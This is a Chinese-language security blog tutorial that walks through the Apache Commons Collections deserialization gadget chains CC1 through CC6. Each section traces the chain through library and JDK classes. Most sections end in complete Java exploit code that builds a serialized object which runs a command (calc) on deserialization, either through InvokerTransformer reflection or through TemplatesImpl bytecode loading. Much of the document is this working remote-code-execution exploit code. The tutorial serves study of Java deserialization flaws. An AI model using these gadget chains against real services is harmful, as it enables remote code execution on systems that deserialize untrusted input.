CC链

总结

Posted by lyk on April 21, 2022

0x01 前言

在自己有一定的Java审计和Java反序列化的基础上重新回顾(其实我已经看了好几遍了,每次看的感觉都不一样,故自己再次总结一下CC的全系列),其实归根来说,CC系列其实就是一个链子的排列组合,从我最后的图可以看出,其实就是一个迷宫,完美的诠释了什么叫条条大路通罗马的含义

0x02 CC1

CC1有两条 分别是 TransformedMapLazyMap

环境配置如下

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

TransformedMap

(1)InvokerTransformer

作者是先从 commons-collections-3.2.1.jar!\org\apache\commons\collections\Transformer在这里找到了一个接口 Transformer 他接受一个Object的传参,并且返回的也是Object,而他的实现类都在\commons-collections-3.2.1.jar!\org\apache\commons\collections\functors(这是commons-collections自定义的一组功能类)

作者找到了InvokerTransformer这个实现类中的transform方法可以任意方法调用的写法

image

如何调用呢?其实也很简单,先弹个计算器

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());

image

那么我们找到了危险函数,我们就往上找谁去能够调用transform并且是可以传入可控的Object对象的

(2)TransformedMap

作者就找到了org\apache\commons\collections\map\TransformedMap类中的checkSetValue方法是接收Object对象并且调用了transform方法,并且是protected属性

那么从这个函数来看有颜色变换而且现在来看并不知道valueTransformer是啥,所以我们先去看一下这个函数的构造方法

image发现是传入Map map, Transformer keyTransformer, Transformer valueTransformer 三个参数,并且把参数给到this.valueTransformer 但是这里由于是protected属性,所以再去找一下是自己在哪里调用了自己

发现存在一个静态方法decorate,也是传入三个参数直接传入到构造方法中,那么我们从上面的代码进行修改一下看能否调用

image

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        invokerTransformer.transform(Runtime.getRuntime());
        HashMap<Object, Object> map = new HashMap<>();

image

(3)AbstractInputCheckedMapDecorator

发现已经赋值了,那我们就看看如何调用这个protected属性的checkSetValue

于是作者找到了 commons-collections-3.2.1-sources.jar!\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java#setValue

image

这里要搞清楚这个类的逻辑,

AbstractInputCheckedMapDecorator 这个类其实是TransformedMap的父类

image

并且这个setValue方法是在一个静态类MapEntry里头的

image

搞清楚逻辑后,其实这个MapEntry 就是遍历Map的键值对的一个静态类,在以下代码中就会触发他的方法(其实就是重写了Map#setvalue方法)

        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue("aaa");
        }

那其实就可以得到,只要去对这个键值对进行setValue方法即可触发

image

所以现在只要把我们的Runtime对象传入到value值即可触发任意方法调用

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        Runtime r = Runtime.getRuntime();
        HashMap<Object, Object> map = new HashMap<>();
        map.put("q","q");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }

image

那么我们后半条链子就连起来了,接下来就是去找哪个地方是存在Entry的遍历的,并且可以把对象传入的点

(4)AnnotationInvocationHandler

作者就找到了jdk1.8.0_65\src\sun\reflect\annotation\AnnotationInvocationHandler.java 中的 readObject 方法是调用了setValue ,那么其实已经找到readObject就非常好可以进行串联了

image

那我们来看一下他的构造方法

image

也很简单,就是传一个注解和一个Map类,又因为他不是public类,所以必须得用反射去实例化他,那么就其实挺简单,就反射区实例化他即可,然后把我们设计好的Entry传给他即可

        Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cl  =  c.getDeclaredConstructor(Class.class,Map.class);
        cl.setAccessible(true);
        cl.newInstance(Override.class,transformedMap);

但是这里仍然存在几个问题

  • Runtime对象是不可以序列化的,需要用反射进行序列化
  • setValue方法的参数貌似不可控
  • 有两个if判断需要进去

先解决第一个问题 如何让Runtime对象可以序列化

因为Class类是可以反序列化的,所以只要让Runtime为Class类并且调用其方法即可

image

他是存在getRuntime的静态方法的,所以可以直接调用

        //        Runtime.getRuntime().exec("calc");
        Class r =  Runtime.class;
        Method m = r.getMethod("getRuntime",null);
        Runtime o = (Runtime) m.invoke(null,null); // 注意这里是getRuntime()的无参构造
        Method m1 = r.getMethod("exec",String.class);
        m1.invoke(o,"calc");

那第一个问题就解决了,那么接下来就是通过InvokerTransformer的反射来吧这个反射重写一遍

        Class r =  Runtime.class;
        Method m  = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
        Runtime o = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(o);

这样就写好了,但是可以发现这里是前一个接收的对象作为后一个transform方法的输入

所以作者又找到了一个类 ChainedTransformer

构造方法就是传一个Transformer类的数组

image

然后这个类的transform方法就会进行一个链式调用

image

那么我可以定义一个Transformer的数组然后将InvokerTransformer的发射链式调用写进去然后去触发其transform方法即可

        Class r =  Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(r);

那么现在就剩下两个问题了

我们跟进去看如何去保证两个If语句都进入呢

image

首先第一个if是比较容易过的,因为他要去找AnnotationInvocationHandler传进来的注解的成员变量,要存在并且map的key可以找到他的成员变量即可,所以做出以下修改

image

第二个if就直接过就行了,所以最后的问题就是这一句话

memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")

那是不是这个传入的东西不可控了呢?

这里作者再次找到了一个实现类ConstantTransformer

他的transform方法就是一句话 传入什么都返回常量,那我无所谓value的值,只需要在

image

那如果返回的常量是Runtime.class就可以进行传入了

整条链子就结束了 exp如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Main {

    public static void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cls  =  c.getDeclaredConstructor(Class.class,Map.class);
        cls.setAccessible(true);
        Object o = cls.newInstance(Target.class,transformedMap);

        serialize(o);
        unserialize("ser.bin");

    }
}

我们来回顾一下这条链子,从正向调过去

反序列化#readObject->
    AnnotationInvocationHandler#readObject(存在setValue)
        MapEntry#setValue(存在checkSetValue)
            transformedMap#checkSetValue(存在transform)
                InvokerTransformer.transform(就可以调用任意方法执行任意操作)

img

LazyMap

在调用transform 方法中,LazyMap#get()也调用了

image

但这里存在个条件

  1. key要为空

然后就会调用factorytransform,那factory咋来的呢?

可以看看他的静态方法和构造器

image

image

可以明显看出 就是构造的时候传进去Transformer类即可

所以可以构造如下代码

 Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

那么往上找一下谁调用了get()方法并且可以传值为Object

于是作者找到了AnnotationInvocationHandler#invoke方法调用了get方法

image

又因为这个是invoke方法,所以可以想到如果传入的是一个动态代理,并且调用的这个处理器类就可以默认去执行他的invoke方法,所以其实也很清晰,就是通过传入一个代理类然后去调用一个方法即可触发这个代理调用处理器的invoke方法,那么这里的invoke是有几个条件的

  1. 不能调用equals
  2. 无参方法

结果readObject()中真的就存在一个不受限制的无参方法entrySet

image

所以这里就可以写exp了,将我们代理类以Map类传入,就可以走通了

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cls  =  c.getDeclaredConstructor(Class.class,Map.class);
        cls.setAccessible(true);
        InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap);

        Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

        Object o = cls.newInstance(Override.class,maproxy);

        serialize(o);
        unserialize("ser.bin");

image

这里来解释一下为什么代理Map和实例化两个 因为我们可以看到两个membervalue

第一个实例化对象是把Map给到readObject的Map.Entry来调用entrySet,第二个实例化对象是通过调用entrySet来触发动态代理的invoke方法

image

0x03 CC6

他是不受JDK版本的限制的

CC6其实就是CC1的LazyMap后半段+前半段是HashMap

链子也很简单 作者从HashMap中发现了如下东西

HashMap#readObject
    TiedMapEntry#hashcode
        LazyMap#get
            InvokerTransformer.transform(就可以调用任意方法执行任意操作)

先看TiedMapEntry的构造方法比较简单直接传map跟key即可

image

所以简单就可以构造出来,这里先放序列化就可以调用calc的

     Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");

        serialize(map2);

为啥呢,从URLDNS链也可以知道 ,HashMap#put()方法也是可以触发hashcode的,所以我们还需要用反射的方式去修改点属性让他反序列化出来也没问题

所以可以先让他put进去的时候是空的,然后put完去序列化的时候通过反射再给他赋值

image

但是这里反序列化还是不会执行,为什么呢?通过调试我们发现他在LazyMap#get()方法的时候最后会把key return回去

image

那也就是说在put方法之后我们去把这个key给remove掉就好了

最终exp

 Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        lazyMap.remove("aa");

        Class c = LazyMap.class;
        Field factoryfield = c.getDeclaredField("factory");
        factoryfield.setAccessible(true);
        factoryfield.set(lazyMap,chainedTransformer);

        serialize(map2);
        unserialize("ser.bin");

image

0x04 CC3

CC3其实后半段就是动态类加载,其实就是跟Fastjson的<=1.2.24的Jdk7u21链子是一样的,(因为我先学了fastjson)

TemplatesImpl链

(1)TemplatesImpl.TransletClassLoader#defineClass()

因为要找defineclass重写过的方法,所以这条链子的作者在rt.jar中找到了defineClass com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass()

image

(2)TemplatesImpl#defineTransletClasses()

但是在实际场景中,因为defineClass方法作用域却是不开放的(就是并不是public方法,所以需要找谁去调用了他),所以我们很很难直接利用到它所以我们要去找谁调用了这个defineClass函数 ,于是找到了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses()

image

(3)TemplatesImpl#getTransletInstance()

再往上找看哪里是public属性的方法调用了他,并且在上述方法中是对字节码进行了加载,并没有初始化,所以要找到链子的某个地方进行了初始化并且最终的入口方法是public方法,最后作者在这里找到了

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance()

image

image

可以看到在加载了_class属性后进行了.newInstance()初始化,完全符合我们的要求

但是他仍然是私有方法

(4)TemplatesImpl#newTransformer()

所以继续往上找于是找到了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()

image

所以我们先来写一个demo(因为_tfactory在反序列化的时候会自动实例化赋值,但是直接调用并不会所以这里写demo的时候需要自行加上才能执行成功)

        TemplatesImpl templates = new TemplatesImpl();
        Class tc =  templates.getClass();
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
        byte[][] codes = {code};

        bytecodesField.set(templates, codes);
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "test");
        Field _tfField = tc.getDeclaredField("_tfactory");
        _tfField.setAccessible(true);
        _tfField.set(templates, new TransformerFactoryImpl());
        templates.newTransformer();

这里有个要注意的点

  • 455行会去进行强制类型转换为AbstractTranslet类,那我们是不是要传该类进来呢?

image

image

在这个地方他会去判断这个父类是否为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

所以加载的字节码文件要是集成了com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet这个的类

  • 这里_bytecodes 不能为空

image

image

那么后半段执行代码的点就可以修改了,其实跟CC1基本都不变,只是修改了一下执行代码的形式,

        TemplatesImpl templates = new TemplatesImpl();
        Class tc =  templates.getClass();
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "test");
        Field _tfField = tc.getDeclaredField("_tfactory");
        _tfField.setAccessible(true);
        _tfField.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)};

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cls  =  c.getDeclaredConstructor(Class.class,Map.class);
        cls.setAccessible(true);
        InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap);

        Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

        Object o = cls.newInstance(Override.class,maproxy);

        serialize(o);
        unserialize("ser.bin");

上述其实是去找谁去调用了newTransformer()导致可以连接上动态类加载的TemplatesImpl链,所以想到了InvokerTransformer当中的类似反射的代码来完成调用但是如果InvokerTransformer被ban了,才到真正的CC3 ,因为是绕过了InvokerTransformer的限制,采用了另一条链子

作者继续往上跟看谁调用了newTransformer(),于是找到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.java

image

TrAXFilter这个类是直接传入Templates类后调用的构造方法就调用了newTransformer()方法,也就是说只要找到一个地方可以调用TrAXFilter他的构造方法 ,就可以成功连接上动态类加载的后半条链子了

于是作者找到了\commons-collections-3.2.1.jar!\org\apache\commons\collections\functors\InstantiateTransformer.java

看一下他的transform方法

image

那么我们就可以根据其构造方法去构造,然后通过之前的办法去调用其transform即可全部连接起来

image

写出以下demo

        TemplatesImpl templates = new TemplatesImpl();
        Class tc =  templates.getClass();
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "test");
        Field _tfField = tc.getDeclaredField("_tfactory");
        _tfField.setAccessible(true);
        _tfField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);

这样其实就可以调用TrAXFilter的构造方法了,那么现在就是去整条链子串起来即可

最后exp

TemplatesImpl templates = new TemplatesImpl();
        Class tc =  templates.getClass();
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "test");

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
                };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cls  =  c.getDeclaredConstructor(Class.class,Map.class);
        cls.setAccessible(true);
        InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap);
        Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
        Object o = cls.newInstance(Override.class,maproxy);

其实就是利用了InstantiateTransformer可以执行构造方法拼接了一下后续的动态类加载这样的思路

image

0x05 CC4

从CC4开始就要换依赖了

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

TransformingComparator#compare()

其实在CC4中也是没有变化太多,而是新引入了一个CC4的包,跟原来CC1的包进行了拼接,那么作者其实是在CC4的包中去寻找调用transform方法的类,在

commons-collections4-4.0.jar!\org\apache\commons\collections4\comparators\TransformingComparator#compare()中找到了调用transform方法

image

这里也是说的很模糊,反正就是看谁去调用了这个compare方法,于是找到了

PriorityQueue#siftDownUsingComparator()

jdk1.8.0_65\src.zip!\java\util\PriorityQueue#siftDownUsingComparator()调用了compare方法

image

再往上跟就是谁去调用了siftDownUsingComparator ,找到的是 jdk1.8.0_65\src.zip!\java\util\PriorityQueue#siftDown

image

继续往上跟 找到的是 jdk1.8.0_65\src.zip!\java\util\PriorityQueue#heapify()

image

PriorityQueue#readObject()

继续往上跟 就是jdk1.8.0_65\src.zip!\java\util\PriorityQueue#readObject()

image

至此就跟到readObject结束了,所以只需要一个入口类去触发这个readObject方法即可传入,那么接下里就是构造EXP了

这里有几个要注意的点

  • 这里的site必须为两个否则进不去这个siftDown方法中

image

  • 其实他在add方法的时候也会去调用compare方法,所以跟URLDNS或者CC3一样都要去反射把值修改一下

  • CC4跟CC3的包其实更新了一个版本后在TransformingComparator中是有改变的,在CC4中这个类继承了Serializable接口导致可以序列化

image

而在CC3中是并没有进行序列化的继承的

image

最后的EXP

		TemplatesImpl templates = new TemplatesImpl();
        Class tc =  templates.getClass();
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "test");

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformingComparatorfield =  c.getDeclaredField("transformer");
        transformingComparatorfield.setAccessible(true);
        transformingComparatorfield.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");

0x06 CC2

一样要依赖于CC4 这里跳了一下直接走了TemplatesImpl#newTransformer()去动态加载类

		TemplatesImpl templates = new TemplatesImpl();
        Class tc =  templates.getClass();
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "test");

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

        InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformingComparatorfield =  c.getDeclaredField("transformer");
        transformingComparatorfield.setAccessible(true);
        transformingComparatorfield.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");

0x07 CC5

CC5其实也是一种排列组合,就是作者在TiedMapEntry中还找到了toString方法也可以调用LazyMap#get()

image

都是一样的

所以去找了一下谁去调用了toString方法 找到了\src.zip!\javax\management\BadAttributeValueExpException.java

image

那么也是拼接到LazyMap#get()就好了

由于这里组长并没有给出EXP,在自己有一定的理解情况下补充一下

一开始我打算直接加入这一行代码就可以完成逻辑了

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

但是发现并没有成功,所以继续断点看看

image

发现这个valObj是String型的,所以得要用反射去把这个值修改为TiedMapEntry#ToString即可

最后修改为

     	Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "qq");
        lazyMap.remove("qq");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class b = badAttributeValueExpException.getClass();
        Field bfield =  b.getDeclaredField("val");
        bfield.setAccessible(true);
        bfield.set(badAttributeValueExpException,tiedMapEntry);

        Class c = LazyMap.class;
        Field factoryfield = c.getDeclaredField("factory");
        factoryfield.setAccessible(true);
        factoryfield.set(lazyMap,chainedTransformer);

//        serialize(badAttributeValueExpException);
        unserialize("ser.bin");

0x08 总结

其实CC的精髓,就是去找谁的readObject可以传任意调用对象,并且可以走到 transform里头来进行动态类加载或者任意方法调用

最后附上CC的结构图 我个人觉得还是画得比较清晰的

image

0x09 参考

奇安信攻防社区-Java安全 - CommonsCollections链 全系列详解 (butian.net)